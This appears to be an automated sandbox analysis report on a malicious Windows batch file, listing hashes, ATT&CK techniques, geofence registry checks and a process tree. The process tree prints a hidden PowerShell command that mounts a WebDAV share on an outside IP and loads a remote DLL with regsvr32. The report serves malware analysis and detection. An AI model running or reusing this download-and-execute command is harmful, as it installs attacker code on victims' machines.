34db335994e0efef9955a0d881e264c880237d7afdfc8a5b0e13df7a502d0279

Analysis

max time kernel
141s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 09:53

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General

Target

787425138213717491.bat
Size

13KB
MD5

0a25cf9536f74e79764b265e8fcd047f
SHA1

dd0a5f03510e32d76d4f26b4ccf0f7c54cdd34ea
SHA256

34db335994e0efef9955a0d881e264c880237d7afdfc8a5b0e13df7a502d0279
SHA512

d976fce794825754d96d23cf6a0159b6f407b5d95eb0abca992a6681d31f011ebab7606fdea9057784545ec3d9cdc8df7fda4b09cfcfbfe4457f954a655e66a1
SSDEEP

384:Uxyf0fBSx0RYoqPwiTW6Lqtk0Cxvr0TJV2JsO9:1nxKFqPk6Gtk0CxQJV2SO9

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2696	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2696	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
928	wordpad.exe
928	wordpad.exe
928	wordpad.exe
928	wordpad.exe
928	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 928	2944	cmd.exe	85
PID 2944 wrote to memory of 928	2944	cmd.exe	85
PID 2944 wrote to memory of 2696	2944	cmd.exe	87
PID 2944 wrote to memory of 2696	2944	cmd.exe	87
PID 2696 wrote to memory of 3224	2696	powershell.exe	89
PID 2696 wrote to memory of 3224	2696	powershell.exe	89
PID 2696 wrote to memory of 2804	2696	powershell.exe	90
PID 2696 wrote to memory of 2804	2696	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\787425138213717491.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\175431602431610.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3224
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\175431602431610.dll
    3⤵
    PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezirkz1g.h3m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2696-5-0x00000288B0560000-0x00000288B0582000-memory.dmp

Filesize
136KB

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